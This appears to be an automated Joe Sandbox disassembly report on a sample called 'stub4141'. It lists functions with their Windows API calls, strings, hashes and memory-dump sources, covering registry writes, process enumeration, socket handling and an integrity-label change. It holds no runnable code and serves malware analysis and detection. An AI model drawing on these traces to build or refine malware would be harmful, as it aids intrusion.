API ID: Module$FileHandleName
String ID: KERNEL32.DLL$USER32.DLL
API String ID: 4146042529-2880226457
Opcode ID: 018c25c2da60bb4101cf880c5b421d15984df715af2137464a4e1f057f6261f9
Instruction ID: 6fb2a38d2192acc187309b44ed09c309fce489d6e0c01dd57fe81da3685fbfed
Opcode Fuzzy Hash: 018c25c2da60bb4101cf880c5b421d15984df715af2137464a4e1f057f6261f9
Instruction Fuzzy Hash: BB01807074421AEFD710FF709D48BAA72B45B5C705F1004B6A609F21D1D3B89E44DA5D

Function 004270F9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0043A0B0,00000008,00427201,00000000,00000000,?,?,00426613,00422C86,?,?,00403613,?), ref: 0042710A
__lock.LIBCMT ref: 0042713E

Part of subcall function 0042BC8B: __mtinitlocknum.LIBCMT ref: 0042BCA1
Part of subcall function 0042BC8B: __amsg_exit.LIBCMT ref: 0042BCAD
Part of subcall function 0042BC8B: EnterCriticalSection.KERNEL32(00403613,00403613,?,00427143,0000000D,?,?,00426613,00422C86,?,?,00403613,?), ref: 0042BCB5

InterlockedIncrement.KERNEL32(888D8B31), ref: 0042714B
__lock.LIBCMT ref: 0042715F
___addlocaleref.LIBCMT ref: 0042717D

Strings

KERNEL32.DLL, xrefs: 00427105

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 5d18d304f1ed85c63c0145e74a38c9b5b625ba2b3218e22e887a33f56d40002f
Instruction ID: 8a1c6d37e43fd48caa064f9e63bf373ce6f5e86eef94fe3856b3ff13ef13c363
Opcode Fuzzy Hash: 5d18d304f1ed85c63c0145e74a38c9b5b625ba2b3218e22e887a33f56d40002f
Instruction Fuzzy Hash: 1A01A171544B109FE720AF6AE906309FBF0AF04328F50894FE4D6523A1CBB8A944CB1D

Function 00403A90 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 00403AAB
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 00403ABD
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 00403AD1

Strings

RtlNtStatusToDosError, xrefs: 00403AB4
RtlSetLastWin32Error, xrefs: 00403AC8
ntdll.dll, xrefs: 00403AA6

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 667068680-2897241497
Opcode ID: 4c0da7dfb88aa72171542cfe7dbda1b81864db9ecfe36fdb88512486e5d51a32
Instruction ID: f664a2345484aa8d0f3202a628e8966e0dadcf5a4733b5e71745e715817d855b
Opcode Fuzzy Hash: 4c0da7dfb88aa72171542cfe7dbda1b81864db9ecfe36fdb88512486e5d51a32
Instruction Fuzzy Hash: 6CF0E175500304DFD7149FE0ED4DB5E7B78E708352F10583AE541526A4D7B8A944EF98

Function 00412750 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(NTDLL.DLL,?,?,0041AF50), ref: 00412759
GetProcAddress.KERNEL32(0041AF50,RtlDecompressBuffer), ref: 0041276B
GetProcAddress.KERNEL32(0041AF50,RtlGetCompressionWorkSpaceSize), ref: 0041277F

Strings

RtlGetCompressionWorkSpaceSize, xrefs: 00412776
NTDLL.DLL, xrefs: 00412754
RtlDecompressBuffer, xrefs: 00412762

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: NTDLL.DLL$RtlDecompressBuffer$RtlGetCompressionWorkSpaceSize
API String ID: 667068680-1459209654
Opcode ID: 11be809fca913f53bebc844d835a480a61045382e4a23b14a04a67d4a999cdc9
Instruction ID: dc419bf8fcc6b68e7574aaf43d54a8d892304f34a814c167907d9cc38c42cd12
Opcode Fuzzy Hash: 11be809fca913f53bebc844d835a480a61045382e4a23b14a04a67d4a999cdc9
Instruction Fuzzy Hash: 7CF05E38911304EFE715CFA4EE0D7AA76B4E748301F14196FE90883290DBB959D0CB59

Function 00427B69 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00427B8A

Part of subcall function 00427226: __getptd_noexit.LIBCMT ref: 00427229
Part of subcall function 00427226: __amsg_exit.LIBCMT ref: 00427236

__getptd.LIBCMT ref: 00427B9B
__getptd.LIBCMT ref: 00427BA9

Strings

csm, xrefs: 00427B83
RCC, xrefs: 00427B75
MOC, xrefs: 00427B7C

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 8e2f9d2347a1ab985a953c96a879b8fe82299c7d10eebb4cc3e3e24ca4aa3a86
Instruction ID: 74947ef3bcf7a2313b83cc60dbb84c51e8766e604fabf3371ca9458d36075745
Opcode Fuzzy Hash: 8e2f9d2347a1ab985a953c96a879b8fe82299c7d10eebb4cc3e3e24ca4aa3a86
Instruction Fuzzy Hash: CEE0ED31308124CEC7109765E08AB6A3695BB84318F9514E7F91CCB623CB2CED50896A

Function 020E2007 Relevance: 9.1, APIs: 6, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(0048A2F8,000003E8), ref: 020E2018
OpenEventW.KERNEL32(00000002,00000000,00485E44), ref: 020E206A
SetEvent.KERNEL32(00000000), ref: 020E207D
CloseHandle.KERNEL32(00000000), ref: 020E2087
SetEvent.KERNEL32(0048A2FC), ref: 020E20BF
ResetEvent.KERNEL32(0048A2FC), ref: 020E20E2

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Event$CloseHandleObjectOpenResetSingleWait
String ID:
API String ID: 1560999653-0
Opcode ID: 441480825ed21a786249bfa13e987f0c5890858c1f07479068bbe3114c15aa55
Instruction ID: 95e4a19d9e3534c9998524da132f8e0d5e55b96cffef4effebd26cc70a87c66f
Opcode Fuzzy Hash: 441480825ed21a786249bfa13e987f0c5890858c1f07479068bbe3114c15aa55
Instruction Fuzzy Hash: 91212730901305EFDFB5ABA0DD4C76DB7ADE781309F104D6AD902922AAC77186C8EB56

Function 020E2337 Relevance: 9.1, APIs: 6, Instructions: 56registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 020E2357
__snwprintf.LIBCMT ref: 020E2375
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,000017FC,00000000), ref: 020E239C
RegSetValueExW.ADVAPI32(000017FC,00488B0E,00000000,00000003,00482D14,020E22CF), ref: 020E23BB
RegCloseKey.ADVAPI32(000017FC), ref: 020E23C9
RegCloseKey.ADVAPI32(000017FC), ref: 020E23DA

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID:
API String ID: 749045061-0
Opcode ID: ec6720a9215bd2c88ac6fb7e33961f8240f64b0d0195ff99c1bb2f2b88514b1e
Instruction ID: c330601bc353aa687196eeeae70517fd216e431a198abb8d2c8a493cff0a1c9d
Opcode Fuzzy Hash: ec6720a9215bd2c88ac6fb7e33961f8240f64b0d0195ff99c1bb2f2b88514b1e
Instruction Fuzzy Hash: DB116975744308BFE720DBA0DC8AFAE7368AB44B00F504558BA05AA1C0E7F5AA44DB55

Function 00427E16 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00427E3E

Part of subcall function 00422FAA: __getptd.LIBCMT ref: 00422FB8
Part of subcall function 00422FAA: __getptd.LIBCMT ref: 00422FC6

__getptd.LIBCMT ref: 00427E48

Part of subcall function 00427226: __getptd_noexit.LIBCMT ref: 00427229
Part of subcall function 00427226: __amsg_exit.LIBCMT ref: 00427236

__getptd.LIBCMT ref: 00427E56
__getptd.LIBCMT ref: 00427E64
__getptd.LIBCMT ref: 00427E6F
_CallCatchBlock2.LIBCMT ref: 00427E95

Part of subcall function 0042304F: __CallSettingFrame@12.LIBCMT ref: 0042309B

Part of subcall function 00427F3C: __getptd.LIBCMT ref: 00427F4B
Part of subcall function 00427F3C: __getptd.LIBCMT ref: 00427F59

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: e0d07e9c32c29e87e056664e3ca0d3de77adf04ae355cd7e8d71c1cef693b49e
Instruction ID: 4fd701c42d2483524b141802ec51d6389331548e02cbd49cdb8fb5aeeb6ff189
Opcode Fuzzy Hash: e0d07e9c32c29e87e056664e3ca0d3de77adf04ae355cd7e8d71c1cef693b49e
Instruction Fuzzy Hash: 3B113A71D04319DFDB00EFA1E545A9D77B0FF08314F50846AF814A7252DB7C9A119F64

Function 0210807D Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 021080A5

Part of subcall function 02103211: __getptd.LIBCMT ref: 0210321F
Part of subcall function 02103211: __getptd.LIBCMT ref: 0210322D

__getptd.LIBCMT ref: 021080AF

Part of subcall function 0210748D: __getptd_noexit.LIBCMT ref: 02107490
Part of subcall function 0210748D: __amsg_exit.LIBCMT ref: 0210749D

__getptd.LIBCMT ref: 021080BD
__getptd.LIBCMT ref: 021080CB
__getptd.LIBCMT ref: 021080D6
_CallCatchBlock2.LIBCMT ref: 021080FC

Part of subcall function 021032B6: __CallSettingFrame@12.LIBCMT ref: 02103302

Part of subcall function 021081A3: __getptd.LIBCMT ref: 021081B2
Part of subcall function 021081A3: __getptd.LIBCMT ref: 021081C0

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: e0d07e9c32c29e87e056664e3ca0d3de77adf04ae355cd7e8d71c1cef693b49e
Instruction ID: 978c6cf1973d07ada0f74a339df430a2246a992416e71ac141f4d88c865e8645
Opcode Fuzzy Hash: e0d07e9c32c29e87e056664e3ca0d3de77adf04ae355cd7e8d71c1cef693b49e
Instruction Fuzzy Hash: B911D7B1D41309DFDB00EFA4D884BADBBB1FF08314F108069E824A7290DBB8AA15DF50

Function 0042687A Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00426886

Part of subcall function 00427226: __getptd_noexit.LIBCMT ref: 00427229
Part of subcall function 00427226: __amsg_exit.LIBCMT ref: 00427236

__amsg_exit.LIBCMT ref: 004268A6
__lock.LIBCMT ref: 004268B6
InterlockedDecrement.KERNEL32(?), ref: 004268D3
_free.LIBCMT ref: 004268E6
InterlockedIncrement.KERNEL32(024A1650), ref: 004268FE

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: c556706c92d98a91c9e772e8eae9ba3f6ee1ed1800a3f2576437f494d697acd9
Instruction ID: 9ff11ad8fb730a98d275f8dd4341ab95c1cef07b55d8114b0d1221754c92c668
Opcode Fuzzy Hash: c556706c92d98a91c9e772e8eae9ba3f6ee1ed1800a3f2576437f494d697acd9
Instruction Fuzzy Hash: 34018E31B01A31EBDB21BF15B94676E7760AB04714F96002BE910A3291CB6CAD41DBDD

Function 02106AE1 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02106AED

Part of subcall function 0210748D: __getptd_noexit.LIBCMT ref: 02107490
Part of subcall function 0210748D: __amsg_exit.LIBCMT ref: 0210749D

__amsg_exit.LIBCMT ref: 02106B0D
__lock.LIBCMT ref: 02106B1D
InterlockedDecrement.KERNEL32(?), ref: 02106B3A
_free.LIBCMT ref: 02106B4D
InterlockedIncrement.KERNEL32(004896F0), ref: 02106B65

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: c556706c92d98a91c9e772e8eae9ba3f6ee1ed1800a3f2576437f494d697acd9
Instruction ID: 7b5ee8aedcccca2c2dd7ba6d90ad783c067e5c9a1ae5e29e019635c784c3d156
Opcode Fuzzy Hash: c556706c92d98a91c9e772e8eae9ba3f6ee1ed1800a3f2576437f494d697acd9
Instruction Fuzzy Hash: E9016171A81A11EBDB21AF1498C4BADB7A4BF04754F184119E910A72C0DBB46951CFD5

Function 020FC017 Relevance: 9.0, APIs: 6, Instructions: 41processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 020FC020
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 020FC02D
Process32FirstW.KERNEL32(00000000,0000022C), ref: 020FC051
CloseHandle.KERNEL32(00000000), ref: 020FC06A
Process32NextW.KERNEL32(00000000,0000022C), ref: 020FC083
CloseHandle.KERNEL32(00000000), ref: 020FC091

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID:
API String ID: 3177329567-0
Opcode ID: 08b802e567e0d51945ae714c6b04006faed110b7017ae147e99ee7fb9f12f7a0
Instruction ID: b1f412bc26dd45e670dbe47c39b45c4490d76bb0be4f71984fb61d069d2dc955
Opcode Fuzzy Hash: 08b802e567e0d51945ae714c6b04006faed110b7017ae147e99ee7fb9f12f7a0
Instruction Fuzzy Hash: 5A012970900208EFDB90DBA4D88DB9DB7F8EF08301F104999E505A7690D7349A45DB90

Function 00412E04 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00412E9F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412EE3
CloseHandle.KERNEL32(00000000), ref: 00412F25
CloseHandle.KERNEL32(00000000), ref: 00412F87
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00413015
shutdown.WS2_32(?,00000002), ref: 004130AB
closesocket.WS2_32(?), ref: 004130B5

Strings

d, xrefs: 00412E56

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWaitclosesocketshutdown
String ID: d
API String ID: 1024630845-2564639436
Opcode ID: a25297f64d50b87d06ea93425a4bab72aabe5fe42a05a8714136be4082e148ac
Instruction ID: 7a2b8720946a532183750f916d6b25bc12a5804a34613285bc0cf19109afc9b2
Opcode Fuzzy Hash: a25297f64d50b87d06ea93425a4bab72aabe5fe42a05a8714136be4082e148ac
Instruction Fuzzy Hash: 6941FC30A00025CFFB28CE28C994FA5B772FB90305F1541E9D12EAB296C735ADA5CF54

Function 00414FCD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00415044
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041507C
CloseHandle.KERNEL32(00000000), ref: 004150B2
CloseHandle.KERNEL32(00000000), ref: 00415102
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041516C

Strings

d, xrefs: 0041500A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: 88cc3a7508bb4429ebd6513117590640c376abd573fe0b258b08ddb1264ca654
Instruction ID: 05b9deff84d6e278d0c548dd63aa2b21e0475dc04089d0997542fc20cca09ec8
Opcode Fuzzy Hash: 88cc3a7508bb4429ebd6513117590640c376abd573fe0b258b08ddb1264ca654
Instruction Fuzzy Hash: 9A313E30A0040ADBFB1CCF48C694BBEBB72EBD0309F254269C1266F695C335AE95CB55

Function 00415001 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00415044
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041507C
CloseHandle.KERNEL32(00000000), ref: 004150B2
CloseHandle.KERNEL32(00000000), ref: 00415102
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041516C

Strings

d, xrefs: 0041500A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: b454615d0fff71d5f6a091e4c3ed46672d452fbd9252cdb1899d25d45cb53cbd
Instruction ID: d03b426e7e07b069aee421d236eefa248652b2e72c5ad5641f4be78ccfc65eb7
Opcode Fuzzy Hash: b454615d0fff71d5f6a091e4c3ed46672d452fbd9252cdb1899d25d45cb53cbd
Instruction Fuzzy Hash: 43314F30A0040A9BFB1CCF48C694BBEB772EBD0309F254269C1266F695C335AD95CB95

Function 00412E47 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00412E9F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412EE3
CloseHandle.KERNEL32(00000000), ref: 00412F25
CloseHandle.KERNEL32(00000000), ref: 00412F87
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00413015

Strings

d, xrefs: 00412E56

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: d8d272ccd86c95f699fee17fbb9bf0edf075314c21ef65fc01aea0744aadaeba
Instruction ID: 0dcea5438d6b0bf002d15a1fff14c217b5cb9c503b9231f3c57a45c8b1aa8be1
Opcode Fuzzy Hash: d8d272ccd86c95f699fee17fbb9bf0edf075314c21ef65fc01aea0744aadaeba
Instruction Fuzzy Hash: 4331EA31A000259FFB2CCE28C994FA5B772EBD0305F1581E9D12EAB296C735ADA5CF54

Function 004127EF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00412832
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041286A
CloseHandle.KERNEL32(00000000), ref: 00412887
CloseHandle.KERNEL32(00000000), ref: 004128D7
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00412995

Strings

d, xrefs: 004127F8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: 54f7bfb3a29c84b6d100b7060b8ea4765ecaf90ac67e4910985931407dc9771e
Instruction ID: 483ab6f5632c504075ac424b643e8e0816c63c6a8330ca23e4d8eead8f915b56
Opcode Fuzzy Hash: 54f7bfb3a29c84b6d100b7060b8ea4765ecaf90ac67e4910985931407dc9771e
Instruction Fuzzy Hash: 11311C31A00405AFFB1CCF48C694AADB772EBD0309F1542ADD126AF295C735EA95CB44

Function 0041B7D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0041B806
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0041B820
SetNamedSecurityInfoW.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0041B83C
LocalFree.KERNEL32(00000000), ref: 0041B849

Strings

S:(ML;;NW;;;LW), xrefs: 0041B801

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 173816248-495562761
Opcode ID: 696f27ac5dd090d00dad79d26c6087e898f1b1a50712d7cae8b53286979cc00a
Instruction ID: 2340f8cd7f7ad9c0c98ae1ed1f26195b29a18f00c8675cb0c64bb11a20ed0c5b
Opcode Fuzzy Hash: 696f27ac5dd090d00dad79d26c6087e898f1b1a50712d7cae8b53286979cc00a
Instruction Fuzzy Hash: 1F01CCB5A40209ABEB10DF90CD99FEFB7B8AB44700F104559E605AA2C0D7B5AA44CFA5

Function 004281C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004281D6

Part of subcall function 00428131: ___BuildCatchObjectHelper.LIBCMT ref: 00428167

_UnwindNestedFrames.LIBCMT ref: 004281ED
___FrameUnwindToState.LIBCMT ref: 004281FB

Strings

csm, xrefs: 004281D2, 004281E7, 004281FA, 00428218, 00428228
csm, xrefs: 004281C5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: bd0553f037ace8dce5002c1378586f15a573bfef2485c20d32db3937762f8fa6
Instruction ID: e8efb7727e2127d74c99db22ac524f7ee17350c9e7fe58151186a2d858bba462
Opcode Fuzzy Hash: bd0553f037ace8dce5002c1378586f15a573bfef2485c20d32db3937762f8fa6
Instruction Fuzzy Hash: 87014B31201129BBCF126F52ED41EAF7F6AFF08354F80401ABC0815261DB3A9972DBA9

Function 0041B590 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00401085), ref: 0041B59B
GetProcAddress.KERNEL32(00401085,IsWow64Process), ref: 0041B5B4
GetCurrentProcess.KERNEL32(00000000), ref: 0041B5D0

Strings

IsWow64Process, xrefs: 0041B5AB
KERNEL32.DLL, xrefs: 0041B596

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$KERNEL32.DLL
API String ID: 4190356694-1193389583
Opcode ID: 1d6426a253e0bae2c24a7c50743efa00c8233157304c5285abe910691eb07e3b
Instruction ID: ef29c1e96a8b4b8ce03dd1b8e4a382a65ab8b920f4c84d74be73f56700477fd4
Opcode Fuzzy Hash: 1d6426a253e0bae2c24a7c50743efa00c8233157304c5285abe910691eb07e3b
